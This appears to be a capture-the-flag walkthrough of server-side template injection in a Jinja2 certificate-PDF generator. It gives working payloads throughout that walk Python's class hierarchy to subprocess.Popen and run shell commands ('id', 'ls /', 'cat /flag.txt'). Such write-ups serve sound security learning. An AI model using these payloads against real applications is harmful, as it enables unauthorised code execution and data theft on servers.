Certificate generation app with user profiles. After poking around, I found that the Full Name field gets rendered into a PDF certificate.
Testing for SSTI:
{{1+1}}
The PDF shows 2 - confirmed SSTI! Now to escalate to RCE. In Jinja2/Python, we can enumerate all loaded classes:
{{ ''.__class__.__mro__[1].__subclasses__() }}
This walks up to the base object class and dumps all subclasses. We’re looking for subprocess.Popen which lets us run shell commands:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{ loop.index0 }} - {{ c }}
{% endif %}
{% endfor %}
Found it at index 359. Now we can execute commands:
{{ ''.__class__.__mro__[1].__subclasses__()[359]('id', shell=True, stdout=-1).communicate()[0].decode() }}
Time to find the flag:
{{ ''.__class__.__mro__[1].__subclasses__()[359]('ls /', shell=True, stdout=-1).communicate()[0].decode() }}
And read it:
{{ ''.__class__.__mro__[1].__subclasses__()[359]('cat /flag.txt', shell=True, stdout=-1).communicate()[0].decode() }}
Flag: Flag appears in the PDF!